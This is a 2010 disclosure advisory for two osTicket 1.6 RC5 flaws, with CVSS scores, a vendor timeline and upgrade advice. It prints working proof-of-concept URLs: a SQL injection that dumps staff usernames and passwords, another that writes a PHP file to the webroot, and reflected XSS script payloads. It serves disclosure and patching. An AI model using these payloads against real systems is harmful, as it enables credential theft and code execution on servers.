osTicket 1.6 RC5 - Multiple Vulnerabilities

Advisory Name: SQL injection in osTicket

Vulnerability Class: SQL injection

Release Date: 2010-02-09

Affected Applications: Confirmed in osTicket 1.6 RC5. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged/Fixed. New release available: osTicket 1.6 Stable or check
http://osticket.com/forums/project.php?issueid=176

Vulnerability Description:

A Vulnerability has been discovered in osTicket, which can be exploited by malicious people to
conduct SQL injection attacks.
Input passed via the "input" parameter to ajax.php is not properly sanitized before being used in a SQL
query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The vulnerability is confirmed in version 1.6 RC5. Other versions may also be affected.

Proof of Concept:

http://x.x.x.x/upload/scp/ajax.php?api=tickets&f=searchbyemail&input=nah%27%20%20union%20sel
ect%20username,passwd%20from%20ost_staff--%20and%20%27%%27%20LIKE%20%27

http://x.x.x.x/upload/scp/ajax.php?api=tickets&f=searchbyemail&input=nah%27%20%20union%20sel
ect%20%27%3C?php%20phpinfo%28%29;%20?%3E%27,%27%27%20into%20outfile%20%27/var/
www/upload/images/info.php%27--%20and%20%27%%27%20LIKE%20%27

Impact: Execute arbitrary SQL queries.

Solution: Upgrade to osTicket 1.6 Stable or check http://osticket.com/forums/project.php?issueid=176

Vendor Response:

January 9, 2010 – First Contact
January 10, 2010 / February 4, 2010 – Updates on resolution
February 9, 2010 – Latest version and patch available
February 9, 2010 – Public Disclosure of the Vulnerability

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
nahuel.grisolia <at> gmail <dot> com

Reflective XSS:

Advisory Name: Reflected Cross-Site Scripting (XSS) in osTicket

Vulnerability Class: Reflected Cross-Site Scripting (XSS)

Release Date: 2010-02-09

Affected Applications: Confirmed in osTicket 1.6 RC5. Other versions may also be affected

Affected Platforms: Multiple

Local / Remote: Remote

Severity: Medium – CVSS: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged/Fixed. New release available: osTicket 1.6 Stable or check
http://osticket.com/forums/project.php?issueid=176

Vulnerability Description:

A reflected Cross Site Scripting vulnerability was found in osTicket 1.6 RC5, because the application
fails to sanitize user-supplied input. Any logged-in user can trigger the vulnerability.

Proof of Concept:

http://x.x.x.x/upload/scp/ajax.php?api=1%3Cscript%3Ealert%28%22xss%22%29;%3C/script%3E&f=
cannedResp

http://x.x.x.x/upload/scp/ajax.php?api=kbase&f=%3Cscript%3Ealert%28%22xss%22%29;%3C/script
%3E

Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an
attacker may obtain authorization cookies that would allow him to gain unauthorized access to the
application.

Solution: Upgrade to osTicket 1.6 Stable or check http://osticket.com/forums/project.php?issueid=176

Vendor Response:

January 9, 2010 – First Contact
January 10, 2010 / February 4, 2010 – Updates on resolution
February 9, 2010 – Latest version and patch available
February 9, 2010 – Public Disclosure of the Vulnerability

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
nahuel.grisolia <at> gmail <dot> com